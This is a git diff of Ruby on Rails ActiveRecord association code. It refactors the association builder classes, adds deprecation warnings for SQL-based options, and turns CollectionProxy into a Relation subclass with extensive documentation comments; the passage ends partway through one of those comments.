diff --git a/activerecord/lib/active_record/associations/builder/collection_association.rb b/activerecord/lib/active_record/associations/builder/collection_association.rb
index f62209a226..1b382f7285 100644
--- a/activerecord/lib/active_record/associations/builder/collection_association.rb
+++ b/activerecord/lib/active_record/associations/builder/collection_association.rb
@@ -2,23 +2,19 @@ module ActiveRecord::Associations::Builder
   class CollectionAssociation < Association #:nodoc:
     CALLBACKS = [:before_add, :after_add, :before_remove, :after_remove]
 
-    self.valid_options += [
-      :table_name, :order, :group, :having, :limit, :offset, :uniq, :finder_sql,
-      :counter_sql, :before_add, :after_add, :before_remove, :after_remove
-    ]
-
-    attr_reader :block_extension
-
-    def self.build(model, name, options, &extension)
-      new(model, name, options, &extension).build
+    def valid_options
+      super + [:table_name, :finder_sql, :counter_sql, :before_add, :after_add, :before_remove, :after_remove]
     end
 
-    def initialize(model, name, options, &extension)
-      super(model, name, options)
+    attr_reader :block_extension, :extension_module
+
+    def initialize(*args, &extension)
+      super(*args)
       @block_extension = extension
     end
 
     def build
+      show_deprecation_warnings
       wrap_block_extension
       reflection = super
       CALLBACKS.each { |callback_name| define_callback(callback_name) }
@@ -29,47 +25,61 @@ module ActiveRecord::Associations::Builder
       true
     end
 
-    private
+    def show_deprecation_warnings
+      [:finder_sql, :counter_sql].each do |name|
+        if options.include? name
+          ActiveSupport::Deprecation.warn("The :#{name} association option is deprecated. Please find an alternative (such as using scopes).")
+        end
+      end
+    end
+
+    def wrap_block_extension
+      if block_extension
+        @extension_module = mod = Module.new(&block_extension)
+        silence_warnings do
+          model.parent.const_set(extension_module_name, mod)
+        end
 
-      def wrap_block_extension
-        options[:extend] = Array.wrap(options[:extend])
+        prev_scope = @scope
 
-        if block_extension
-          silence_warnings do
-            model.parent.const_set(extension_module_name, Module.new(&block_extension))
-          end
-          options[:extend].push("#{model.parent}::#{extension_module_name}".constantize)
+        if prev_scope
+          @scope = proc { |owner| instance_exec(owner, &prev_scope).extending(mod) }
+        else
+          @scope = proc { extending(mod) }
         end
       end
+    end
 
-      def extension_module_name
-        @extension_module_name ||= "#{model.to_s.demodulize}#{name.to_s.camelize}AssociationExtension"
-      end
+    def extension_module_name
+      @extension_module_name ||= "#{model.name.demodulize}#{name.to_s.camelize}AssociationExtension"
+    end
 
-      def define_callback(callback_name)
-        full_callback_name = "#{callback_name}_for_#{name}"
+    def define_callback(callback_name)
+      full_callback_name = "#{callback_name}_for_#{name}"
 
-        # TODO : why do i need method_defined? I think its because of the inheritance chain
-        model.class_attribute full_callback_name.to_sym unless model.method_defined?(full_callback_name)
-        model.send("#{full_callback_name}=", Array.wrap(options[callback_name.to_sym]))
-      end
+      # TODO : why do i need method_defined? I think its because of the inheritance chain
+      model.class_attribute full_callback_name.to_sym unless model.method_defined?(full_callback_name)
+      model.send("#{full_callback_name}=", Array(options[callback_name.to_sym]))
+    end
 
-      def define_readers
-        super
+    def define_readers
+      super
 
-        name = self.name
-        model.redefine_method("#{name.to_s.singularize}_ids") do
-          association(name).ids_reader
+      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{name.to_s.singularize}_ids
+          association(:#{name}).ids_reader
         end
-      end
+      CODE
+    end
 
-      def define_writers
-        super
+    def define_writers
+      super
 
-        name = self.name
-        model.redefine_method("#{name.to_s.singularize}_ids=") do |ids|
-          association(name).ids_writer(ids)
+      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{name.to_s.singularize}_ids=(ids)
+          association(:#{name}).ids_writer(ids)
         end
-      end
+      CODE
+    end
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
index 30fc44b4c2..bdac02b5bf 100644
--- a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
@@ -1,57 +1,39 @@
 module ActiveRecord::Associations::Builder
   class HasAndBelongsToMany < CollectionAssociation #:nodoc:
-    self.macro = :has_and_belongs_to_many
+    def macro
+      :has_and_belongs_to_many
+    end
 
-    self.valid_options += [:join_table, :association_foreign_key, :delete_sql, :insert_sql]
+    def valid_options
+      super + [:join_table, :association_foreign_key, :delete_sql, :insert_sql]
+    end
 
     def build
       reflection = super
-      check_validity(reflection)
       define_destroy_hook
       reflection
     end
 
-    private
+    def show_deprecation_warnings
+      super
 
-      def define_destroy_hook
-        name = self.name
-        model.send(:include, Module.new {
-          class_eval <<-RUBY, __FILE__, __LINE__ + 1
-            def destroy_associations
-              association(#{name.to_sym.inspect}).delete_all
-              super
-            end
-          RUBY
-        })
-      end
-
-      # TODO: These checks should probably be moved into the Reflection, and we should not be
-      #       redefining the options[:join_table] value - instead we should define a
-      #       reflection.join_table method.
-      def check_validity(reflection)
-        if reflection.association_foreign_key == reflection.foreign_key
-          raise ActiveRecord::HasAndBelongsToManyAssociationForeignKeyNeeded.new(reflection)
+      [:delete_sql, :insert_sql].each do |name|
+        if options.include? name
+          ActiveSupport::Deprecation.warn("The :#{name} association option is deprecated. Please find an alternative (such as using has_many :through).")
         end
-
-        reflection.options[:join_table] ||= join_table_name(
-          model.send(:undecorated_table_name, model.to_s),
-          model.send(:undecorated_table_name, reflection.class_name)
-        )
       end
+    end
 
-      # Generates a join table name from two provided table names.
-      # The names in the join table names end up in lexicographic order.
-      #
-      #   join_table_name("members", "clubs")         # => "clubs_members"
-      #   join_table_name("members", "special_clubs") # => "members_special_clubs"
-      def join_table_name(first_table_name, second_table_name)
-        if first_table_name < second_table_name
-          join_table = "#{first_table_name}_#{second_table_name}"
-        else
-          join_table = "#{second_table_name}_#{first_table_name}"
-        end
-
-        model.table_name_prefix + join_table + model.table_name_suffix
-      end
+    def define_destroy_hook
+      name = self.name
+      model.send(:include, Module.new {
+        class_eval <<-RUBY, __FILE__, __LINE__ + 1
+          def destroy_associations
+            association(:#{name}).delete_all
+            super
+          end
+        RUBY
+      })
+    end
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/has_many.rb b/activerecord/lib/active_record/associations/builder/has_many.rb
index ecbc70888f..ab8225460a 100644
--- a/activerecord/lib/active_record/associations/builder/has_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_many.rb
@@ -1,65 +1,15 @@
-require 'active_support/core_ext/object/inclusion'
-
 module ActiveRecord::Associations::Builder
   class HasMany < CollectionAssociation #:nodoc:
-    self.macro = :has_many
-
-    self.valid_options += [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of]
-
-    def build
-      reflection = super
-      configure_dependency
-      reflection
+    def macro
+      :has_many
     end
 
-    private
-
-      def configure_dependency
-        if options[:dependent]
-          unless options[:dependent].in?([:destroy, :delete_all, :nullify, :restrict])
-            raise ArgumentError, "The :dependent option expects either :destroy, :delete_all, " \
-                                 ":nullify or :restrict (#{options[:dependent].inspect})"
-          end
-
-          send("define_#{options[:dependent]}_dependency_method")
-          model.before_destroy dependency_method_name
-        end
-      end
-
-      def define_destroy_dependency_method
-        name = self.name
-        model.send(:define_method, dependency_method_name) do
-          send(name).each do |o|
-            # No point in executing the counter update since we're going to destroy the parent anyway
-            counter_method = ('belongs_to_counter_cache_before_destroy_for_' + self.class.name.downcase).to_sym
-            if o.respond_to?(counter_method)
-              class << o
-                self
-              end.send(:define_method, counter_method, Proc.new {})
-            end
-          end
-
-          send(name).delete_all
-        end
-      end
-
-      def define_delete_all_dependency_method
-        name = self.name
-        model.send(:define_method, dependency_method_name) do
-          send(name).delete_all
-        end
-      end
-      alias :define_nullify_dependency_method :define_delete_all_dependency_method
-
-      def define_restrict_dependency_method
-        name = self.name
-        model.send(:define_method, dependency_method_name) do
-          raise ActiveRecord::DeleteRestrictionError.new(name) unless send(name).empty?
-        end
-      end
+    def valid_options
+      super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of]
+    end
 
-      def dependency_method_name
-        "has_many_dependent_for_#{name}"
-      end
+    def valid_dependent_options
+      [:destroy, :delete_all, :nullify, :restrict, :restrict_with_error, :restrict_with_exception]
+    end
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/has_one.rb b/activerecord/lib/active_record/associations/builder/has_one.rb
index 88c0d3e90f..0da564f402 100644
--- a/activerecord/lib/active_record/associations/builder/has_one.rb
+++ b/activerecord/lib/active_record/associations/builder/has_one.rb
@@ -1,63 +1,25 @@
-require 'active_support/core_ext/object/inclusion'
-
 module ActiveRecord::Associations::Builder
   class HasOne < SingularAssociation #:nodoc:
-    self.macro = :has_one
-
-    self.valid_options += [:order, :as]
+    def macro
+      :has_one
+    end
 
-    class_attribute :through_options
-    self.through_options = [:through, :source, :source_type]
+    def valid_options
+      valid = super + [:order, :as]
+      valid += [:through, :source, :source_type] if options[:through]
+      valid
+    end
 
     def constructable?
       !options[:through]
     end
 
-    def build
-      reflection = super
-      configure_dependency unless options[:through]
-      reflection
+    def configure_dependency
+      super unless options[:through]
     end
 
-    private
-
-      def validate_options
-        valid_options = self.class.valid_options
-        valid_options += self.class.through_options if options[:through]
-        options.assert_valid_keys(valid_options)
-      end
-
-      def configure_dependency
-        if options[:dependent]
-          unless options[:dependent].in?([:destroy, :delete, :nullify, :restrict])
-            raise ArgumentError, "The :dependent option expects either :destroy, :delete, " \
-                                 ":nullify or :restrict (#{options[:dependent].inspect})"
-          end
-
-          send("define_#{options[:dependent]}_dependency_method")
-          model.before_destroy dependency_method_name
-        end
-      end
-
-      def dependency_method_name
-        "has_one_dependent_#{options[:dependent]}_for_#{name}"
-      end
-
-      def define_destroy_dependency_method
-        model.send(:class_eval, <<-eoruby, __FILE__, __LINE__ + 1)
-          def #{dependency_method_name}
-            association(#{name.to_sym.inspect}).delete
-          end
-        eoruby
-      end
-      alias :define_delete_dependency_method :define_destroy_dependency_method
-      alias :define_nullify_dependency_method :define_destroy_dependency_method
-
-      def define_restrict_dependency_method
-        name = self.name
-        model.redefine_method(dependency_method_name) do
-          raise ActiveRecord::DeleteRestrictionError.new(name) unless send(name).nil?
-        end
-      end
+    def valid_dependent_options
+      [:destroy, :delete, :nullify, :restrict, :restrict_with_error, :restrict_with_exception]
+    end
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/singular_association.rb b/activerecord/lib/active_record/associations/builder/singular_association.rb
index 0cbbba041a..6a5830e57f 100644
--- a/activerecord/lib/active_record/associations/builder/singular_association.rb
+++ b/activerecord/lib/active_record/associations/builder/singular_association.rb
@@ -1,6 +1,8 @@
 module ActiveRecord::Associations::Builder
   class SingularAssociation < Association #:nodoc:
-    self.valid_options += [:remote, :dependent, :counter_cache, :primary_key, :inverse_of]
+    def valid_options
+      super + [:remote, :dependent, :counter_cache, :primary_key, :inverse_of]
+    end
 
     def constructable?
       true
@@ -11,22 +13,20 @@ module ActiveRecord::Associations::Builder
       define_constructors if constructable?
     end
 
-    private
-
-      def define_constructors
-        name = self.name
-
-        model.redefine_method("build_#{name}") do |*params, &block|
-          association(name).build(*params, &block)
+    def define_constructors
+      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def build_#{name}(*args, &block)
+          association(:#{name}).build(*args, &block)
         end
 
-        model.redefine_method("create_#{name}") do |*params, &block|
-          association(name).create(*params, &block)
+        def create_#{name}(*args, &block)
+          association(:#{name}).create(*args, &block)
         end
 
-        model.redefine_method("create_#{name}!") do |*params, &block|
-          association(name).create!(*params, &block)
+        def create_#{name}!(*args, &block)
+          association(:#{name}).create!(*args, &block)
         end
-      end
+      CODE
+    end
   end
 end
diff --git a/activerecord/lib/active_record/associations/collection_association.rb b/activerecord/lib/active_record/associations/collection_association.rb
index 362f1053cd..b15df4f308 100644
--- a/activerecord/lib/active_record/associations/collection_association.rb
+++ b/activerecord/lib/active_record/associations/collection_association.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/array/wrap'
-
 module ActiveRecord
   module Associations
     # = Active Record Association Collection
@@ -8,6 +6,15 @@ module ActiveRecord
     # ease the implementation of association proxies that represent
     # collections. See the class hierarchy in AssociationProxy.
     #
+    #   CollectionAssociation:
+    #     HasAndBelongsToManyAssociation => has_and_belongs_to_many
+    #     HasManyAssociation => has_many
+    #       HasManyThroughAssociation + ThroughAssociation => has_many :through
+    #
+    # CollectionAssociation class provides common methods to the collections
+    # defined by +has_and_belongs_to_many+, +has_many+ or +has_many+ with
+    # +:through association+ option.
+    #
     # You need to be careful with assumptions regarding the target: The proxy
     # does not fetch records from the database until it needs them, but new
     # ones created with +build+ are added to the target. So, the target may be
@@ -18,12 +25,6 @@ module ActiveRecord
     # If you need to work on all current children, new and existing records,
     # +load_target+ and the +loaded+ flag are your friends.
     class CollectionAssociation < Association #:nodoc:
-      attr_reader :proxy
-
-      def initialize(owner, reflection)
-        super
-        @proxy = CollectionProxy.new(self)
-      end
 
       # Implements the reader method, e.g. foo.items for Foo.has_many :items
       def reader(force_reload = false)
@@ -33,7 +34,7 @@ module ActiveRecord
           reload
         end
 
-        proxy
+        CollectionProxy.new(self)
       end
 
       # Implements the writer method, e.g. foo.items= for Foo.has_many :items
@@ -49,23 +50,20 @@ module ActiveRecord
           end
         else
           column  = "#{reflection.quoted_table_name}.#{reflection.association_primary_key}"
-
-          scoped.select(column).map! do |record|
-            record.send(reflection.association_primary_key)
-          end
+          scope.pluck(column)
         end
       end
 
       # Implements the ids writer method, e.g. foo.item_ids= for Foo.has_many :items
       def ids_writer(ids)
         pk_column = reflection.primary_key_column
-        ids = Array.wrap(ids).reject { |id| id.blank? }
+        ids = Array(ids).reject { |id| id.blank? }
         ids.map! { |i| pk_column.type_cast(i) }
         replace(klass.find(ids).index_by { |r| r.id }.values_at(*ids))
       end
 
       def reset
-        @loaded = false
+        super
         @target = []
       end
 
@@ -73,7 +71,7 @@ module ActiveRecord
         if block_given?
           load_target.select.each { |e| yield e }
         else
-          scoped.select(select)
+          scope.select(select)
         end
       end
 
@@ -84,7 +82,7 @@ module ActiveRecord
           if options[:finder_sql]
             find_by_scan(*args)
           else
-            scoped.find(*args)
+            scope.find(*args)
           end
         end
       end
@@ -115,8 +113,9 @@ module ActiveRecord
         create_record(attributes, options, true, &block)
       end
 
-      # Add +records+ to this association. Returns +self+ so method calls may be chained.
-      # Since << flattens its argument list and inserts each record, +push+ and +concat+ behave identically.
+      # Add +records+ to this association. Returns +self+ so method calls may
+      # be chained. Since << flattens its argument list and inserts each record,
+      # +push+ and +concat+ behave identically.
       def concat(*records)
         load_target if owner.new_record?
 
@@ -142,11 +141,11 @@ module ActiveRecord
         end
       end
 
-      # Remove all records from this association
+      # Remove all records from this association.
       #
       # See delete for more info.
       def delete_all
-        delete(load_target).tap do
+        delete(:all).tap do
           reset
           loaded!
         end
@@ -162,12 +161,12 @@ module ActiveRecord
         end
       end
 
-      # Calculate sum using SQL, not Enumerable
+      # Calculate sum using SQL, not Enumerable.
       def sum(*args)
         if block_given?
-          scoped.sum(*args) { |*block_args| yield(*block_args) }
+          scope.sum(*args) { |*block_args| yield(*block_args) }
         else
-          scoped.sum(*args)
+          scope.sum(*args)
         end
       end
 
@@ -184,13 +183,13 @@ module ActiveRecord
 
           reflection.klass.count_by_sql(custom_counter_sql)
         else
-          if options[:uniq]
+          if association_scope.uniq_value
             # This is needed because 'SELECT count(DISTINCT *)..' is not valid SQL.
             column_name ||= reflection.klass.primary_key
-            count_options.merge!(:distinct => true)
+            count_options[:distinct] = true
           end
 
-          value = scoped.count(column_name, count_options)
+          value = scope.count(column_name, count_options)
 
           limit  = options[:limit]
           offset = options[:offset]
@@ -211,7 +210,18 @@ module ActiveRecord
       # are actually removed from the database, that depends precisely on
       # +delete_records+. They are in any case removed from the collection.
       def delete(*records)
-        delete_or_destroy(records, options[:dependent])
+        dependent = options[:dependent]
+
+        if records.first == :all
+          if loaded? || dependent == :destroy
+            delete_or_destroy(load_target, dependent)
+          else
+            delete_records(:all, dependent)
+          end
+        else
+          records = find(records) if records.any? { |record| record.kind_of?(Fixnum) || record.kind_of?(String) }
+          delete_or_destroy(records, dependent)
+        end
       end
 
       # Destroy +records+ and remove them from this association calling
@@ -235,11 +245,15 @@ module ActiveRecord
       # This method is abstract in the sense that it relies on
       # +count_records+, which is a method descendants have to provide.
       def size
-        if owner.new_record? || (loaded? && !options[:uniq])
-          target.size
-        elsif !loaded? && options[:group]
+        if !find_target? || loaded?
+          if association_scope.uniq_value
+            target.uniq.size
+          else
+            target.size
+          end
+        elsif !loaded? && !association_scope.group_values.empty?
           load_target.size
-        elsif !loaded? && !options[:uniq] && target.is_a?(Array)
+        elsif !loaded? && !association_scope.uniq_value && target.is_a?(Array)
           unsaved_records = target.select { |r| r.new_record? }
           unsaved_records.size + count_records
         else
@@ -256,13 +270,24 @@ module ActiveRecord
         load_target.size
       end
 
-      # Equivalent to <tt>collection.size.zero?</tt>. If the collection has
-      # not been already loaded and you are going to fetch the records anyway
-      # it is better to check <tt>collection.length.zero?</tt>.
+      # Returns true if the collection is empty.
+      #
+      # If the collection has been loaded or the <tt>:counter_sql</tt> option
+      # is provided, it is equivalent to <tt>collection.size.zero?</tt>. If the
+      # collection has not been loaded, it is equivalent to
+      # <tt>collection.exists?</tt>. If the collection has not already been
+      # loaded and you are going to fetch the records anyway it is better to
+      # check <tt>collection.length.zero?</tt>.
       def empty?
-        size.zero?
+        if loaded? || options[:counter_sql]
+          size.zero?
+        else
+          !scope.exists?
+        end
       end
 
+      # Returns true if the collections is not empty.
+      # Equivalent to +!collection.empty?+.
       def any?
         if block_given?
           load_target.any? { |*block_args| yield(*block_args) }
@@ -271,7 +296,8 @@ module ActiveRecord
         end
       end
 
-      # Returns true if the collection has more than 1 record. Equivalent to collection.size > 1.
+      # Returns true if the collection has more than 1 record.
+      # Equivalent to +collection.size > 1+.
       def many?
         if block_given?
           load_target.many? { |*block_args| yield(*block_args) }
@@ -280,15 +306,15 @@ module ActiveRecord
         end
       end
 
-      def uniq(collection = load_target)
+      def uniq
         seen = {}
-        collection.find_all do |record|
+        load_target.find_all do |record|
           seen[record.id] = true unless seen.key?(record.id)
         end
       end
 
-      # Replace this collection with +other_array+
-      # This will perform a diff and delete/add only records that have changed.
+      # Replace this collection with +other_array+. This will perform a diff
+      # and delete/add only records that have changed.
       def replace(other_array)
         other_array.each { |val| raise_on_type_mismatch(val) }
         original_target = load_target.dup
@@ -306,7 +332,7 @@ module ActiveRecord
             include_in_memory?(record)
           else
             load_target if options[:finder_sql]
-            loaded? ? target.include?(record) : scoped.exists?(record)
+            loaded? ? target.include?(record) : scope.exists?(record)
           end
         else
           false
@@ -326,7 +352,7 @@ module ActiveRecord
         callback(:before_add, record)
         yield(record) if block_given?
 
-        if options[:uniq] && index = @target.index(record)
+        if association_scope.uniq_value && index = @target.index(record)
           @target[index] = record
         else
           @target << record
@@ -362,10 +388,9 @@ module ActiveRecord
             if options[:finder_sql]
               reflection.klass.find_by_sql(custom_finder_sql)
             else
-              scoped.all
+              scope.to_a
             end
 
-          records = options[:uniq] ? uniq(records) : records
           records.each { |record| set_inverse_instance(record) }
           records
         end
@@ -385,12 +410,7 @@ module ActiveRecord
           return memory    if persisted.empty?
 
           persisted.map! do |record|
-            # Unfortunately we cannot simply do memory.delete(record) since on 1.8 this returns
-            # record rather than memory.at(memory.index(record)). The behavior is fixed in 1.9.
-            mem_index = memory.index(record)
-
-            if mem_index
-              mem_record = memory.delete_at(mem_index)
+            if mem_record = memory.delete(record)
 
               (record.attribute_names - mem_record.changes.keys).each do |name|
                 mem_record[name] = record[name]
@@ -428,7 +448,7 @@ module ActiveRecord
         end
 
         def create_scope
-          scoped.scope_for_create.stringify_keys
+          scope.scope_for_create.stringify_keys
         end
 
         def delete_or_destroy(records, method)
@@ -466,6 +486,8 @@ module ActiveRecord
             raise RecordNotSaved, "Failed to replace #{reflection.name} because one or more of the " \
                                   "new records could not be saved."
           end
+
+          target
         end
 
         def concat_records(records)
@@ -536,7 +558,7 @@ module ActiveRecord
         # If using a custom finder_sql, #find scans the entire collection.
         def find_by_scan(*args)
           expects_array = args.first.kind_of?(Array)
-          ids           = args.flatten.compact.uniq.map { |arg| arg.to_i }
+          ids           = args.flatten.compact.map{ |arg| arg.to_i }.uniq
 
           if ids.size == 1
             id = ids.first
@@ -551,8 +573,8 @@ module ActiveRecord
         def first_or_last(type, *args)
           args.shift if args.first.is_a?(Hash) && args.first.empty?
 
-          collection = fetch_first_or_last_using_find?(args) ? scoped : load_target
-          collection.send(type, *args)
+          collection = fetch_first_or_last_using_find?(args) ? scope : load_target
+          collection.send(type, *args).tap {|it| set_inverse_instance it }
         end
     end
   end
diff --git a/activerecord/lib/active_record/associations/collection_proxy.rb b/activerecord/lib/active_record/associations/collection_proxy.rb
index 3181ca9a32..ee8b816ef4 100644
--- a/activerecord/lib/active_record/associations/collection_proxy.rb
+++ b/activerecord/lib/active_record/associations/collection_proxy.rb
@@ -33,27 +33,812 @@ module ActiveRecord
     #
     # is computed directly through SQL and does not trigger by itself the
     # instantiation of the actual post records.
-    class CollectionProxy # :nodoc:
-      alias :proxy_extend :extend
+    class CollectionProxy < Relation
+      def initialize(association) #:nodoc:
+        @association = association
+        super association.klass, association.klass.arel_table
+        merge! association.scope
+      end
+
+      def target
+        @association.target
+      end
+
+      def load_target
+        @association.load_target
+      end
 
-      instance_methods.each { |m| undef_method m unless m.to_s =~ /^(?:nil\?|send|object_id|to_a)$|^__|^respond_to|proxy_/ }
+      def loaded?
+        @association.loaded?
+      end
 
-      delegate :group, :order, :limit, :joins, :where, :preload, :eager_load, :includes, :from,
-               :lock, :readonly, :having, :to => :scoped
+      ##
+      # Works in two ways.
+      #
+      # *First:* Specify a subset of fields to be selected from the result set.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.select(:name)
+      #   # => [
+      #   #      #<Pet id: nil, name: "Fancy-Fancy">,
+      #   #      #<Pet id: nil, name: "Spook">,
+      #   #      #<Pet id: nil, name: "Choo-Choo">
+      #   #    ]
+      #
+      #   person.pets.select([:id, :name])
+      #   # => [
+      #   #      #<Pet id: 1, name: "Fancy-Fancy">,
+      #   #      #<Pet id: 2, name: "Spook">,
+      #   #      #<Pet id: 3, name: "Choo-Choo">
+      #   #    ]
+      #
+      # Be careful because this also means you’re initializing a model
+      # object with only the fields that you’ve selected. If you attempt
+      # to access a field that is not in the initialized record you’ll
+      # receive:
+      #
+      #   person.pets.select(:name).first.person_id
+      #   # => ActiveModel::MissingAttributeError: missing attribute: person_id
+      #
+      # *Second:* You can pass a block so it can be used just like Array#select.
+      # This build an array of objects from the database for the scope,
+      # converting them into an array and iterating through them using
+      # Array#select.
+      #
+      #   person.pets.select { |pet| pet.name =~ /oo/ }
+      #   # => [
+      #   #      #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #      #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.select(:name) { |pet| pet.name =~ /oo/ }
+      #   # => [
+      #   #      #<Pet id: 2, name: "Spook">,
+      #   #      #<Pet id: 3, name: "Choo-Choo">
+      #   #    ]
+      def select(select = nil, &block)
+        @association.select(select, &block)
+      end
 
-      delegate :target, :load_target, :loaded?, :scoped,
-               :to => :@association
+      ##
+      # Finds an object in the collection responding to the +id+. Uses the same
+      # rules as +ActiveRecord::Base.find+. Returns +ActiveRecord::RecordNotFound++
+      # error if the object can not be found.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.find(1) # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
+      #   person.pets.find(4) # => ActiveRecord::RecordNotFound: Couldn't find Pet with id=4
+      #
+      #   person.pets.find(2) { |pet| pet.name.downcase! }
+      #   # => #<Pet id: 2, name: "fancy-fancy", person_id: 1>
+      #
+      #   person.pets.find(2, 3)
+      #   # => [
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      def find(*args, &block)
+        @association.find(*args, &block)
+      end
 
-      delegate :select, :find, :first, :last,
-               :build, :create, :create!,
-               :concat, :replace, :delete_all, :destroy_all, :delete, :destroy, :uniq,
-               :sum, :count, :size, :length, :empty?,
-               :any?, :many?, :include?,
-               :to => :@association
+      ##
+      # Returns the first record, or the first +n+ records, from the collection.
+      # If the collection is empty, the first form returns +nil+, and the second
+      # form returns an empty array.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.first # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
+      #
+      #   person.pets.first(2)
+      #   # => [
+      #   #      #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #      #<Pet id: 2, name: "Spook", person_id: 1>
+      #   #    ]
+      #
+      #   another_person_without.pets          # => []
+      #   another_person_without.pets.first    # => nil
+      #   another_person_without.pets.first(3) # => []
+      def first(*args)
+        @association.first(*args)
+      end
 
-      def initialize(association)
-        @association = association
-        Array.wrap(association.options[:extend]).each { |ext| proxy_extend(ext) }
+      ##
+      # Returns the last record, or the last +n+ records, from the collection.
+      # If the collection is empty, the first form returns +nil+, and the second
+      # form returns an empty array.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.last # => #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #
+      #   person.pets.last(2)
+      #   # => [
+      #   #      #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #      #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   another_person_without.pets         # => []
+      #   another_person_without.pets.last    # => nil
+      #   another_person_without.pets.last(3) # => []
+      def last(*args)
+        @association.last(*args)
+      end
+
+      ##
+      # Returns a new object of the collection type that has been instantiated
+      # with +attributes+ and linked to this object, but have not yet been saved.
+      # You can pass an array of attributes hashes, this will return an array
+      # with the new objects.
+      #
+      #   class Person
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.build
+      #   # => #<Pet id: nil, name: nil, person_id: 1>
+      #
+      #   person.pets.build(name: 'Fancy-Fancy')
+      #   # => #<Pet id: nil, name: "Fancy-Fancy", person_id: 1>
+      #
+      #   person.pets.build([{name: 'Spook'}, {name: 'Choo-Choo'}, {name: 'Brain'}])
+      #   # => [
+      #   #      #<Pet id: nil, name: "Spook", person_id: 1>,
+      #   #      #<Pet id: nil, name: "Choo-Choo", person_id: 1>,
+      #   #      #<Pet id: nil, name: "Brain", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.size  # => 5 # size of the collection
+      #   person.pets.count # => 0 # count from database
+      def build(attributes = {}, options = {}, &block)
+        @association.build(attributes, options, &block)
+      end
+
+      ##
+      # Returns a new object of the collection type that has been instantiated with
+      # attributes, linked to this object and that has already been saved (if it
+      # passes the validations).
+      #
+      #   class Person
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.create(name: 'Fancy-Fancy')
+      #   # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
+      #
+      #   person.pets.create([{name: 'Spook'}, {name: 'Choo-Choo'}])
+      #   # => [
+      #   #      #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #      #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.size  # => 3
+      #   person.pets.count # => 3
+      #
+      #   person.pets.find(1, 2, 3)
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      def create(attributes = {}, options = {}, &block)
+        @association.create(attributes, options, &block)
+      end
+
+      ##
+      # Like +create+, except that if the record is invalid, raises an exception.
+      #
+      #   class Person
+      #     has_many :pets
+      #   end
+      #
+      #   class Pet
+      #     attr_accessible :name
+      #     validates :name, presence: true
+      #   end
+      #
+      #   person.pets.create!(name: nil)
+      #   # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+      def create!(attributes = {}, options = {}, &block)
+        @association.create!(attributes, options, &block)
+      end
+
+      ##
+      # Add one or more records to the collection by setting their foreign keys
+      # to the association's primary key. Since << flattens its argument list and
+      # inserts each record, +push+ and +concat+ behave identically. Returns +self+
+      # so method calls may be chained.
+      #
+      #   class Person < ActiveRecord::Base
+      #     pets :has_many
+      #   end
+      #
+      #   person.pets.size # => 0
+      #   person.pets.concat(Pet.new(name: 'Fancy-Fancy'))
+      #   person.pets.concat(Pet.new(name: 'Spook'), Pet.new(name: 'Choo-Choo'))
+      #   person.pets.size # => 3
+      #
+      #   person.id # => 1
+      #   person.pets
